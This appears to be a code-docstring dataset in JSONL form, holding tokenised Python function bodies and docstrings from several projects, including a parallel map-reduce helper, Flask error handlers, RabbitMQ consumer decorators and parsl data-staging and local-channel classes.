{"signature": "def copy(a):", "body": "shared = anonymousmemmap(a.shape, dtype=a.dtype)<EOL>shared[:] = a[:]<EOL>return shared<EOL>", "docstring": "Copy an array to the shared memory. \n\n        Notes\n        -----\n        copy is not always necessary because the private memory is always copy-on-write.\n\n        Use :code:`a = copy(a)` to immediately dereference the old 'a' on private memory", "id": "f2546:m9"}
{"signature": "def get(self, Q):", "body": "while self.Errors.empty():<EOL><INDENT>try:<EOL><INDENT>return Q.get(timeout=<NUM_LIT:1>)<EOL><DEDENT>except queue.Empty:<EOL><INDENT>if not self.is_alive():<EOL><INDENT>try:<EOL><INDENT>return Q.get(timeout=<NUM_LIT:0>)<EOL><DEDENT>except queue.Empty:<EOL><INDENT>raise StopProcessGroup<EOL><DEDENT><DEDENT>else:<EOL><INDENT>continue<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise StopProcessGroup<EOL><DEDENT>", "docstring": "Protected get. Get an item from Q.\n            Will block. but if the process group has errors,\n            raise an StopProcessGroup exception.\n\n            A slave process will terminate upon StopProcessGroup.\n            The master process shall read the error from the process group.", "id": "f2546:c3:m8"}
{"signature": "def wait(self):", "body": "e, r = self.result.get()<EOL>self.slave.join()<EOL>self.slave = None<EOL>self.result = None<EOL>if isinstance(e, Exception):<EOL><INDENT>raise SlaveException(e, r)<EOL><DEDENT>return r<EOL>", "docstring": "Wait and join the child process. \n            The return value of the function call is returned.\n            If any exception occurred it is wrapped and raised.", "id": "f2546:c7:m2"}
{"signature": "def map(self, func, sequence, reduce=None, star=False, minlength=<NUM_LIT:0>):", "body": "def realreduce(r):<EOL><INDENT>if reduce:<EOL><INDENT>if isinstance(r, tuple):<EOL><INDENT>return reduce(*r)<EOL><DEDENT>else:<EOL><INDENT>return reduce(r)<EOL><DEDENT><DEDENT>return r<EOL><DEDENT>def realfunc(i):<EOL><INDENT>if star: return func(*i)<EOL>else: return func(i)<EOL><DEDENT>if len(sequence) <= <NUM_LIT:0> or self.np == <NUM_LIT:0> or get_debug():<EOL><INDENT>self.local = lambda : None<EOL>self.local.rank = <NUM_LIT:0><EOL>rt = [realreduce(realfunc(i)) for i in sequence]<EOL>self.local = None<EOL>return rt<EOL><DEDENT>np = min([self.np, len(sequence)])<EOL>Q = self.backend.QueueFactory(<NUM_LIT:64>)<EOL>R = self.backend.QueueFactory(<NUM_LIT:64>)<EOL>self.ordered.reset()<EOL>pg = ProcessGroup(main=self._main, np=np,<EOL>backend=self.backend,<EOL>args=(Q, R, sequence, realfunc))<EOL>pg.start()<EOL>L = []<EOL>N = []<EOL>def feeder(pg, Q, N):<EOL><INDENT>j = <NUM_LIT:0><EOL>try:<EOL><INDENT>for i, work in enumerate(sequence):<EOL><INDENT>if not hasattr(sequence, '<STR_LIT>'):<EOL><INDENT>pg.put(Q, (i, work))<EOL><DEDENT>else:<EOL><INDENT>pg.put(Q, (i, ))<EOL><DEDENT>j = j + <NUM_LIT:1><EOL><DEDENT>N.append(j)<EOL>for i in range(np):<EOL><INDENT>pg.put(Q, None)<EOL><DEDENT><DEDENT>except StopProcessGroup:<EOL><INDENT>return<EOL><DEDENT>finally:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>feeder = threading.Thread(None, feeder, args=(pg, Q, N))<EOL>feeder.start() <EOL>count = <NUM_LIT:0><EOL>try:<EOL><INDENT>while True:<EOL><INDENT>try:<EOL><INDENT>capsule = pg.get(R)<EOL><DEDENT>except queue.Empty:<EOL><INDENT>continue<EOL><DEDENT>except StopProcessGroup:<EOL><INDENT>raise pg.get_exception()<EOL><DEDENT>capsule = capsule[<NUM_LIT:0>], realreduce(capsule[<NUM_LIT:1>])<EOL>heapq.heappush(L, capsule)<EOL>count = count + <NUM_LIT:1><EOL>if len(N) > <NUM_LIT:0> and count == N[<NUM_LIT:0>]: <EOL><INDENT>break<EOL><DEDENT><DEDENT>rt = []<EOL><INDENT>R.close()<EOL>R.join_thread()<EOL><DEDENT>while len(L) > <NUM_LIT:0>:<EOL><INDENT>rt.append(heapq.heappop(L)[<NUM_LIT:1>])<EOL><DEDENT>pg.join()<EOL>feeder.join()<EOL>assert N[<NUM_LIT:0>] == len(rt)<EOL>return rt<EOL><DEDENT>except BaseException as e:<EOL><INDENT>pg.killall()<EOL>pg.join()<EOL>feeder.join()<EOL>raise<EOL><DEDENT>", "docstring": "Map-reduce with multile processes.\n\n            Apply func to each item on the sequence, in parallel. \n            As the results are collected, reduce is called on the result.\n            The reduced result is returned as a list.\n\n            Parameters\n            ----------\n            func : callable\n                The function to call. It must accept the same number of\n                arguments as the length of an item in the sequence.\n\n                .. warning::\n\n                    func is not supposed to use exceptions for flow control.\n                    In non-debug mode all exceptions will be wrapped into\n                    a :py:class:`SlaveException`.\n\n            sequence : list or array_like\n                The sequence of arguments to be applied to func.\n\n            reduce : callable, optional\n                Apply an reduction operation on the \n                return values of func. If func returns a tuple, they\n                are treated as positional arguments of reduce.\n\n            star : boolean\n                if True, the items in sequence are treated as positional\n                arguments of reduce.\n\n            minlength: integer\n                Minimal length of `sequence` to start parallel processing.\n                if len(sequence) < minlength, fall back to sequential\n                processing. This can be used to avoid the overhead of starting\n                the worker processes when there is little work.\n\n            Returns\n            -------\n            results : list\n                The list of reduced results from the map operation, in\n                the order of the arguments of sequence.\n\n            Raises\n            ------\n            SlaveException\n                If any of the slave process encounters\n                an exception. Inspect :py:attr:`SlaveException.reason` for the underlying exception.", "id": "f2546:c8:m4"}
{"signature": "def MetaOrdered(parallel, done, turnstile):", "body": "class Ordered:<EOL><INDENT>def __init__(self, iterref):<EOL><INDENT>if parallel.master:<EOL><INDENT>done[...] = <NUM_LIT:0><EOL><DEDENT>self.iterref = iterref<EOL>parallel.barrier()<EOL><DEDENT>@classmethod<EOL>def abort(self):<EOL><INDENT>turnstile.release()<EOL><DEDENT>def __enter__(self):<EOL><INDENT>while self.iterref != done:<EOL><INDENT>pass<EOL><DEDENT>turnstile.acquire()<EOL>return self<EOL><DEDENT>def __exit__(self, *args):<EOL><INDENT>done[...] += <NUM_LIT:1><EOL>turnstile.release()<EOL><DEDENT><DEDENT>return Ordered<EOL>", "docstring": "meta class for Ordered construct.", "id": "f2547:m2"}
{"signature": "def kill_all(self):", "body": "for pid in self.children:<EOL><INDENT>try:<EOL><INDENT>os.kill(pid, signal.SIGTRAP)<EOL><DEDENT>except OSError:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>self.join()<EOL>", "docstring": "kill all slaves and reap the monitor", "id": "f2547:c2:m3"}
{"signature": "def join(self):", "body": "try:<EOL><INDENT>self.thread.join()<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>finally:<EOL><INDENT>self.thread = None<EOL><DEDENT>", "docstring": "master only", "id": "f2547:c2:m5"}
{"signature": "def haserror(self):", "body": "return self.message is not None<EOL>", "docstring": "master only", "id": "f2547:c3:m2"}
{"signature": "def start(self):", "body": "self.thread = Thread(target=self.main)<EOL>self.thread.daemon = True<EOL>self.thread.start()<EOL>", "docstring": "master only", "id": "f2547:c3:m3"}
{"signature": "def join(self):", "body": "try:<EOL><INDENT>self.pipe.put('<STR_LIT>')<EOL>self.thread.join()<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>finally:<EOL><INDENT>self.thread = None<EOL><DEDENT>", "docstring": "master only", "id": "f2547:c3:m4"}
{"signature": "def slaveraise(self, type, error, traceback):", "body": "message = '<STR_LIT:E>' * <NUM_LIT:1> + pickle.dumps((type,<EOL>'<STR_LIT>'.join(tb.format_exception(type, error, traceback))))<EOL>if self.pipe is not None:<EOL><INDENT>self.pipe.put(message)<EOL><DEDENT>", "docstring": "slave only", "id": "f2547:c3:m5"}
{"signature": "def forloop(self, range, ordered=False, schedule=('<STR_LIT>', <NUM_LIT:1>)):", "body": "if isinstance(schedule, tuple):<EOL><INDENT>schedule, chunk = schedule<EOL><DEDENT>else:<EOL><INDENT>chunk = None<EOL><DEDENT>if schedule == '<STR_LIT>':<EOL><INDENT>return self._StaticForLoop(range, ordered, chunk)<EOL><DEDENT>elif schedule == '<STR_LIT>':<EOL><INDENT>return self._DynamicForLoop(range, ordered, chunk, guided=False)<EOL><DEDENT>elif schedule == '<STR_LIT>':<EOL><INDENT>return self._DynamicForLoop(range, ordered, chunk, guided=True)<EOL><DEDENT>else:<EOL><INDENT>raise \"<STR_LIT>\"<EOL><DEDENT>", "docstring": "schedule can be\n            (sch, chunk) or sch;\n            sch is 'static', 'dynamic' or 'guided'.\n\n            chunk defaults to 1\n\n            if ordered, create an ordred", "id": "f2547:c4:m7"}
{"signature": "def abort(self):", "body": "self.mutex.release()<EOL>self.turnstile.release()<EOL>self.mutex.release()<EOL>self.turnstile2.release()<EOL>", "docstring": "ensure the master exit from Barrier", "id": "f2547:c5:m1"}
{"signature": "def beforefork(self, parallel):", "body": "pass<EOL>", "docstring": "allocate self.data with dtype", "id": "f2547:c7:m1"}
{"signature": "@staticmethod<EOL><INDENT>def _get_classes(package_name, base_class):<DEDENT>", "body": "classes = {}<EOL>base_dir = os.getcwd()<EOL>root_module_name = base_dir.split('<STR_LIT:/>')[-<NUM_LIT:1>]<EOL>package_dir = base_dir + '<STR_LIT>' % package_name<EOL>if os.path.isdir(package_dir):<EOL><INDENT>for module_path in os.listdir(package_dir):<EOL><INDENT>if not module_path.endswith('<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>module_name = os.path.splitext(module_path)[<NUM_LIT:0>]<EOL>module_full_name = '<STR_LIT>' % (root_module_name, package_name, module_name)<EOL>__import__(module_full_name)<EOL>work_module = sys.modules[module_full_name]<EOL>for module_item in work_module.__dict__.values():<EOL><INDENT>if type(module_item) is typeand issubclass(module_item, base_class)and module_item is not base_classand hasattr(module_item, '<STR_LIT:name>') and module_item.name:<EOL><INDENT>classes.setdefault(module_item.name, []).append(module_item)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>for work_name, work_modules in classes.items():<EOL><INDENT>if len(work_modules) > <NUM_LIT:1>:<EOL><INDENT>raise DuplicatedNameException('<STR_LIT>' % (<EOL>'<STR_LIT>'.join(map(str, work_modules)),<EOL>work_name<EOL>))<EOL><DEDENT><DEDENT>return tuple([(work_name, work_modules[<NUM_LIT:0>]) for work_name, work_modules in classes.items()])<EOL>", "docstring": "search monits or works classes. Class must have 'name' attribute\n:param package_name: 'monits' or 'works'\n:param base_class: Monit or Work\n:return: tuple of tuples monit/work-name and class", "id": "f2558:c4:m3"}
{"signature": "def format_pathname(<EOL>pathname,<EOL>max_length):", "body": "if max_length <= <NUM_LIT:3>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if len(pathname) > max_length:<EOL><INDENT>pathname = \"<STR_LIT>\".format(pathname[-(max_length-<NUM_LIT:3>):])<EOL><DEDENT>return pathname<EOL>", "docstring": "Format a pathname\n\n:param str pathname: Pathname to format\n:param int max_length: Maximum length of result pathname (> 3)\n:return: Formatted pathname\n:rtype: str\n:raises ValueError: If *max_length* is not larger than 3\n\nThis function formats a pathname so it is not longer than *max_length*\ncharacters. The resulting pathname is returned. It does so by replacing\ncharacters at the start of the *pathname* with three dots, if necessary.\nThe idea is that the end of the *pathname* is the most important part\nto be able to identify the file.", "id": "f2570:m0"}
{"signature": "def format_time_point(<EOL>time_point_string):", "body": "time_point = dateutil.parser.parse(time_point_string)<EOL>if not is_aware(time_point):<EOL><INDENT>time_point = make_aware(time_point)<EOL><DEDENT>time_point = local_time_point(time_point)<EOL>return time_point.strftime(\"<STR_LIT>\")<EOL>", "docstring": ":param str time_point_string: String representation of a time point\n    to format\n:return: Formatted time point\n:rtype: str\n:raises ValueError: If *time_point_string* is not formatted by\n    dateutil.parser.parse\n\nSee :py:meth:`datetime.datetime.isoformat` function for supported formats.", "id": "f2570:m1"}
{"signature": "def format_uuid(<EOL>uuid,<EOL>max_length=<NUM_LIT:10>):", "body": "if max_length <= <NUM_LIT:3>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if len(uuid) > max_length:<EOL><INDENT>uuid = \"<STR_LIT>\".format(uuid[<NUM_LIT:0>:max_length-<NUM_LIT:3>])<EOL><DEDENT>return uuid<EOL>", "docstring": "Format a UUID string\n\n:param str uuid: UUID to format\n:param int max_length: Maximum length of result string (> 3)\n:return: Formatted UUID\n:rtype: str\n:raises ValueError: If *max_length* is not larger than 3\n\nThis function formats a UUID so it is not longer than *max_length*\ncharacters. The resulting string is returned. It does so by replacing\ncharacters at the end of the *uuid* with three dots, if necessary.\nThe idea is that the start of the *uuid* is the most important part\nto be able to identify the related entity.\n\nThe default *max_length* is 10, which will result in a string\ncontaining the first 7 characters of the *uuid* passed in. Most of\nthe time, such a string is still unique within a collection of UUIDs.", "id": "f2570:m2"}
{"signature": "def register(<EOL>app):", "body": "<EOL>error_handler = json.http_exception_error_handler<EOL>@app.errorhandler(<NUM_LIT>)<EOL>def handle_bad_request(<EOL>exception):<EOL><INDENT>return error_handler(exception)<EOL><DEDENT>@app.errorhandler(<NUM_LIT>)<EOL>def handle_not_found(<EOL>exception):<EOL><INDENT>return error_handler(exception)<EOL><DEDENT>@app.errorhandler(<NUM_LIT>)<EOL>def handle_method_not_allowed(<EOL>exception):<EOL><INDENT>return error_handler(exception)<EOL><DEDENT>@app.errorhandler(<NUM_LIT>)<EOL>def handle_unprocessable_entity(<EOL>exception):<EOL><INDENT>return error_handler(exception)<EOL><DEDENT>@app.errorhandler(<NUM_LIT>)<EOL>def handle_internal_server_error(<EOL>exception):<EOL><INDENT>return error_handler(exception)<EOL><DEDENT>", "docstring": "Register all HTTP error code error handlers\n\nCurrently, errors are handled by the JSON error handler.", "id": "f2572:m0"}
{"signature": "def register(<EOL>app):", "body": "error_code.register(app)<EOL>", "docstring": "Register all available error handlers\n\n:param flask.Flask app: Application instance", "id": "f2573:m0"}
{"signature": "def response(<EOL>code,<EOL>description):", "body": "payload = jsonify({<EOL>\"<STR_LIT>\": code,<EOL>\"<STR_LIT:message>\": description<EOL>})<EOL>return payload, code<EOL>", "docstring": "Format a response\n\n:param int code: HTTP error code\n:param str description: Error message\n:return: Tuple of a wrapped JSON snippet and the error code\n:rtype: Tuple of :py:class:`flask.Response` containing a JSON snippet,\n    and the error code\n\nThe JSON snippet is formatted like this:\n\n.. code-block:: json\n\n   {\n       \"status_code\": 404,\n       \"message\": \"The requested URL was not found on the server\"\n   }", "id": "f2574:m0"}
{"signature": "def http_exception_error_handler(<EOL>exception):", "body": "assert issubclass(type(exception), HTTPException), type(exception)<EOL>assert hasattr(exception, \"<STR_LIT:code>\")<EOL>assert hasattr(exception, \"<STR_LIT:description>\")<EOL>return response(exception.code, exception.description)<EOL>", "docstring": "Handle HTTP exception\n\n:param werkzeug.exceptions.HTTPException exception: Raised exception\n\nA response is returned, as formatted by the :py:func:`response` function.", "id": "f2574:m1"}
{"signature": "def notify_client(<EOL>notifier_uri,<EOL>client_id,<EOL>status_code,<EOL>message=None):", "body": "payload = {<EOL>\"<STR_LIT>\": client_id,<EOL>\"<STR_LIT:result>\": {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": status_code<EOL>}<EOL>}<EOL>}<EOL>if message is not None:<EOL><INDENT>payload[\"<STR_LIT:result>\"][\"<STR_LIT>\"][\"<STR_LIT:message>\"] = message<EOL><DEDENT>response = requests.post(notifier_uri, json=payload)<EOL>if response.status_code != <NUM_LIT>:<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\".format(payload))<EOL>sys.stderr.flush()<EOL><DEDENT>", "docstring": "Notify the client of the result of handling a request\n\nThe payload contains two elements:\n\n- client_id\n- result\n\nThe *client_id* is the id of the client to notify. It is assumed\nthat the notifier service is able to identify the client by this id\nand that it can pass the *result* to it.\n\nThe *result* always contains a *status_code* element. In case the\nmessage passed in is not None, it will also contain a *message*\nelement.\n\nIn case the notifier service does not exist or returns an error,\nan error message will be logged to *stderr*.", "id": "f2576:m0"}
{"signature": "def consume_message(<EOL>method):", "body": "def wrapper(<EOL>self,<EOL>channel,<EOL>method_frame,<EOL>header_frame,<EOL>body):<EOL><INDENT>sys.stdout.write(\"<STR_LIT>\".format(body))<EOL>sys.stdout.flush()<EOL>try:<EOL><INDENT>body = body.decode(\"<STR_LIT:utf-8>\")<EOL>data = json.loads(body)<EOL>method(self, data)<EOL><DEDENT>except Exception as exception:<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\".format(traceback.format_exc()))<EOL>sys.stderr.flush()<EOL><DEDENT>channel.basic_ack(delivery_tag=method_frame.delivery_tag)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorator for methods handling requests from RabbitMQ\n\nThe goal of this decorator is to perform the tasks common to all\nmethods handling requests:\n\n- Log the raw message to *stdout*\n- Decode the message into a Python dictionary\n- Log errors to *stderr*\n- Signal the broker that we're done handling the request\n\nThe method passed in will be called with the message body as a\ndictionary. It is assumed here that the message body is a JSON string\nencoded in UTF8.", "id": "f2576:m1"}
{"signature": "def consume_message_with_notify(<EOL>notifier_uri_getter):", "body": "def consume_message_with_notify_decorator(<EOL>method):<EOL><INDENT>@consume_message<EOL>def wrapper(<EOL>self,<EOL>data):<EOL><INDENT>notifier_uri = notifier_uri_getter(self)<EOL>client_id = data[\"<STR_LIT>\"]<EOL>try:<EOL><INDENT>method(self, data)<EOL>notify_client(notifier_uri, client_id, <NUM_LIT:200>)<EOL><DEDENT>except Exception as exception:<EOL><INDENT>notify_client(notifier_uri, client_id, <NUM_LIT>, str(exception))<EOL>raise<EOL><DEDENT><DEDENT>return wrapper<EOL><DEDENT>return consume_message_with_notify_decorator<EOL>", "docstring": "Decorator for methods handling requests from RabbitMQ\n\nThis decorator builds on the :py:func:`consume_message` decorator. It extents\nit by logic for notifying a client of the result of handling the\nrequest.\n\nThe *notifier_uri_getter* argument must be a callable which accepts\n*self* and returns the uri of the notifier service.", "id": "f2576:m2"}
{"signature": "def utc_now():", "body": "return datetime.now(timezone.utc)<EOL>", "docstring": "Return an aware :py:class:`datetime.datetime` instance of the current\ndate and time, in UTC timezone\n\n:return: Current date and time, in UTC timezone\n:rtype: datetime.datetime", "id": "f2578:m0"}
{"signature": "def is_aware(<EOL>time_point):", "body": "return time_point.tzinfo is not None andtime_point.utcoffset() is not None<EOL>", "docstring": "Return whether ``time_point`` is aware of the timezone", "id": "f2578:m1"}
{"signature": "def make_aware(<EOL>time_point):", "body": "assert not is_aware(time_point)<EOL>return time_point.replace(tzinfo=UTC)<EOL>", "docstring": "Return an aware time point\n\n:param datetime.datetime time_point: Unaware time point in UTC\n:return: Aware time point in UTC timezone\n:rtype: datetime.datetime", "id": "f2578:m2"}
{"signature": "def local_time_point(<EOL>time_point):", "body": "assert is_aware(time_point)<EOL>return time_point.astimezone(get_localzone())<EOL>", "docstring": "Return a time point with the same UTC time as ``time_point``, but\nin the local time zone\n\n:param datetime.datetime time_point: Aware time point\n:return: Time point in local timezone\n:rtype: datetime.datetime", "id": "f2578:m3"}
{"signature": "def predict(list_items):", "body": "return [i*<NUM_LIT:2> for i in list_items]<EOL>", "docstring": "Returns the double of the items", "id": "f2580:m0"}
{"signature": "def predict(list_items):", "body": "return [i+<NUM_LIT:10> for i in list_items]<EOL>", "docstring": "Returns items+10", "id": "f2581:m0"}
{"signature": "@typeguard.typechecked<EOL><INDENT>def __init__(self, url: str):<DEDENT>", "body": "self.url = url<EOL>parsed_url = urlparse(self.url)<EOL>self.scheme = parsed_url.scheme if parsed_url.scheme else '<STR_LIT:file>'<EOL>self.netloc = parsed_url.netloc<EOL>self.path = parsed_url.path<EOL>self.filename = os.path.basename(self.path)<EOL>", "docstring": "Construct a File object from a url string.\n\n        Args:\n           - url (string) : url string of the file e.g.\n              - 'input.txt'\n              - 'file:///scratch/proj101/input.txt'\n              - 'globus://go#ep1/~/data/input.txt'\n              - 'globus://ddb59aef-6d04-11e5-ba46-22000b92c6ec/home/johndoe/data/input.txt'", "id": "f2583:c0:m0"}
{"signature": "@property<EOL><INDENT>def filepath(self):<DEDENT>", "body": "if hasattr(self, '<STR_LIT>'):<EOL><INDENT>return self.local_path<EOL><DEDENT>if self.scheme in ['<STR_LIT>', '<STR_LIT:http>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>return self.filename<EOL><DEDENT>elif self.scheme in ['<STR_LIT:file>']:<EOL><INDENT>return self.path<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>'.format(self.scheme))<EOL><DEDENT>", "docstring": "Return the resolved filepath on the side where it is called from.\n\n        The appropriate filepath will be returned when called from within\n        an app running remotely as well as regular python on the client side.\n\n        Args:\n            - self\n        Returns:\n             - filepath (string)", "id": "f2583:c0:m5"}
{"signature": "@classmethod<EOL><INDENT>def get_data_manager(cls):<DEDENT>", "body": "from parsl.dataflow.dflow import DataFlowKernelLoader<EOL>dfk = DataFlowKernelLoader.dfk()<EOL>return dfk.executors['<STR_LIT>']<EOL>", "docstring": "Return the DataManager of the currently loaded DataFlowKernel.", "id": "f2586:c0:m0"}
{"signature": "def __init__(self, dfk, max_threads=<NUM_LIT:10>):", "body": "self._scaling_enabled = False<EOL>self.label = '<STR_LIT>'<EOL>self.dfk = dfk<EOL>self.max_threads = max_threads<EOL>self.globus = None<EOL>self.managed = True<EOL>", "docstring": "Initialize the DataManager.\n\n        Args:\n           - dfk (DataFlowKernel): The DataFlowKernel that this DataManager is managing data for.\n\n        Kwargs:\n           - max_threads (int): Number of threads. Default is 10.\n           - executors (list of Executors): Executors for which data transfer will be managed.", "id": "f2586:c0:m1"}
{"signature": "def submit(self, *args, **kwargs):", "body": "return self.executor.submit(*args, **kwargs)<EOL>", "docstring": "Submit a staging app. All optimization should be here.", "id": "f2586:c0:m3"}
{"signature": "def shutdown(self, block=False):", "body": "x = self.executor.shutdown(wait=block)<EOL>logger.debug(\"<STR_LIT>\")<EOL>return x<EOL>", "docstring": "Shutdown the ThreadPool.\n\n        Kwargs:\n            - block (bool): To block for confirmations or not", "id": "f2586:c0:m6"}
{"signature": "def stage_in(self, file, executor):", "body": "if file.scheme == '<STR_LIT>':<EOL><INDENT>working_dir = self.dfk.executors[executor].working_dir<EOL>stage_in_app = self._ftp_stage_in_app(executor=executor)<EOL>app_fut = stage_in_app(working_dir, outputs=[file])<EOL>return app_fut._outputs[<NUM_LIT:0>]<EOL><DEDENT>elif file.scheme == '<STR_LIT:http>' or file.scheme == '<STR_LIT>':<EOL><INDENT>working_dir = self.dfk.executors[executor].working_dir<EOL>stage_in_app = self._http_stage_in_app(executor=executor)<EOL>app_fut = stage_in_app(working_dir, outputs=[file])<EOL>return app_fut._outputs[<NUM_LIT:0>]<EOL><DEDENT>elif file.scheme == '<STR_LIT>':<EOL><INDENT>globus_ep = self._get_globus_endpoint(executor)<EOL>stage_in_app = self._globus_stage_in_app()<EOL>app_fut = stage_in_app(globus_ep, outputs=[file])<EOL>return app_fut._outputs[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>'.format(file.scheme))<EOL><DEDENT>", "docstring": "Transport the file from the input source to the executor.\n\n        This function returns a DataFuture.\n\n        Args:\n            - self\n            - file (File) : file to stage in\n            - executor (str) : an executor the file is going to be staged in to.\n                                If the executor argument is not specified for a file\n                                with 'globus' scheme, the file will be staged in to\n                                the first executor with the \"globus\" key in a config.", "id": "f2586:c0:m10"}
{"signature": "def stage_out(self, file, executor):", "body": "if file.scheme == '<STR_LIT:http>' or file.scheme == '<STR_LIT>':<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>elif file.scheme == '<STR_LIT>':<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>elif file.scheme == '<STR_LIT>':<EOL><INDENT>globus_ep = self._get_globus_endpoint(executor)<EOL>stage_out_app = self._globus_stage_out_app()<EOL>return stage_out_app(globus_ep, inputs=[file])<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>'.format(file.scheme))<EOL><DEDENT>", "docstring": "Transport the file from the local filesystem to the remote Globus endpoint.\n\n        This function returns a DataFuture.\n\n        Args:\n            - self\n            - file (File) - file to stage out\n            - executor (str) - Which executor the file is going to be staged out from.\n                                If the executor argument is not specified for a file\n                                with the 'globus' scheme, the file will be staged in to\n                                the first executor with the \"globus\" key in a config.", "id": "f2586:c0:m15"}
{"signature": "@abstractmethod<EOL><INDENT>def execute_wait(self, cmd, walltime=None, envs={}, *args, **kwargs):<DEDENT>", "body": "pass<EOL>", "docstring": "Executes the cmd, with a defined walltime.\n\n        Args:\n            - cmd (string): Command string to execute over the channel\n            - walltime (int) : Timeout in seconds, optional\n\n        KWargs:\n            - envs (Dict[str, str]) : Environment variables to push to the remote side\n\n        Returns:\n            - (exit_code, stdout, stderr) (int, optional string, optional string)\n              If the exit code is a failure code, the stdout and stderr return values\n              may be None.", "id": "f2589:c0:m0"}
{"signature": "@abstractproperty<EOL><INDENT>def script_dir(self):<DEDENT>", "body": "pass<EOL>", "docstring": "This is a property. Returns the directory assigned for storing all internal scripts such as\n        scheduler submit scripts. This is usually where error logs from the scheduler would reside on the\n        channel destination side.\n\n        Args:\n            - None\n\n        Returns:\n            - Channel script dir", "id": "f2589:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def execute_no_wait(self, cmd, walltime, envs={}, *args, **kwargs):<DEDENT>", "body": "pass<EOL>", "docstring": "Execute asynchronousely without waiting for exitcode\n\n        Args:\n            - cmd (string): Command string to execute over the channel\n            - walltime (int) : Timeout in seconds\n\n        KWargs:\n            - envs (dict) : Environment variables to push to the remote side\n\n        Returns:\n            - the type of return value is channel specific", "id": "f2589:c0:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def push_file(self, source, dest_dir):<DEDENT>", "body": "pass<EOL>", "docstring": "Channel will take care of moving the file from source to the destination\n        directory\n\n        Args:\n            source (string) : Full filepath of the file to be moved\n            dest_dir (string) : Absolute path of the directory to move to\n\n        Returns:\n            destination_path (string)", "id": "f2589:c0:m3"}
{"signature": "@abstractmethod<EOL><INDENT>def close(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Closes the channel. Clean out any auth credentials.\n\n        Args:\n            None\n\n        Returns:\n            Bool", "id": "f2589:c0:m4"}
{"signature": "@abstractmethod<EOL><INDENT>def makedirs(self, path, mode=<NUM_LIT>, exist_ok=False):<DEDENT>", "body": "pass<EOL>", "docstring": "Create a directory.\n\n        If intermediate directories do not exist, they will be created.\n\n        Parameters\n        ----------\n        path : str\n            Path of directory to create.\n        mode : int\n            Permissions (posix-style) for the newly-created directory.\n        exist_ok : bool\n            If False, raise an OSError if the target directory already exists.", "id": "f2589:c0:m5"}
{"signature": "@abstractmethod<EOL><INDENT>def isdir(self, path):<DEDENT>", "body": "pass<EOL>", "docstring": "Return true if the path refers to an existing directory.\n\n        Parameters\n        ----------\n        path : str\n            Path of directory to check.", "id": "f2589:c0:m6"}
{"signature": "@abstractmethod<EOL><INDENT>def abspath(self, path):<DEDENT>", "body": "pass<EOL>", "docstring": "Return the absolute path.\n\n        Parameters\n        ----------\n        path : str\n            Path for which the absolute path will be returned.", "id": "f2589:c0:m7"}
{"signature": "def __init__(self, userhome=\"<STR_LIT:.>\", envs={}, script_dir=None, **kwargs):", "body": "self.userhome = os.path.abspath(userhome)<EOL>self.hostname = \"<STR_LIT:localhost>\"<EOL>self.envs = envs<EOL>local_env = os.environ.copy()<EOL>self._envs = copy.deepcopy(local_env)<EOL>self._envs.update(envs)<EOL>self.script_dir = script_dir<EOL>", "docstring": "Initialize the local channel. script_dir is required by set to a default.\n\n        KwArgs:\n            - userhome (string): (default='.') This is provided as a way to override and set a specific userhome\n            - envs (dict) : A dictionary of env variables to be set when launching the shell\n            - script_dir (string): Directory to place scripts", "id": "f2590:c0:m0"}
{"signature": "def execute_wait(self, cmd, walltime=None, envs={}):", "body": "retcode = -<NUM_LIT:1><EOL>stdout = None<EOL>stderr = None<EOL>current_env = copy.deepcopy(self._envs)<EOL>current_env.update(envs)<EOL>try:<EOL><INDENT>proc = subprocess.Popen(<EOL>cmd,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE,<EOL>cwd=self.userhome,<EOL>env=current_env,<EOL>shell=True<EOL>)<EOL>proc.wait(timeout=walltime)<EOL>stdout = proc.stdout.read()<EOL>stderr = proc.stderr.read()<EOL>retcode = proc.returncode<EOL><DEDENT>except Exception as e:<EOL><INDENT>print(\"<STR_LIT>\".format(e))<EOL>logger.warn(\"<STR_LIT>\", cmd, e)<EOL>if retcode == <NUM_LIT:0>:<EOL><INDENT>retcode = -<NUM_LIT:1><EOL><DEDENT>return (retcode, None, None)<EOL><DEDENT>return (retcode, stdout.decode(\"<STR_LIT:utf-8>\"), stderr.decode(\"<STR_LIT:utf-8>\"))<EOL>", "docstring": "Synchronously execute a commandline string on the shell.\n\n        Args:\n            - cmd (string) : Commandline string to execute\n            - walltime (int) : walltime in seconds, this is not really used now.\n\n        Kwargs:\n            - envs (dict) : Dictionary of env variables. This will be used\n              to override the envs set at channel initialization.\n\n        Returns:\n            - retcode : Return code from the execution, -1 on fail\n            - stdout  : stdout string\n            - stderr  : stderr string\n\n        Raises:\n        None.", "id": "f2590:c0:m1"}
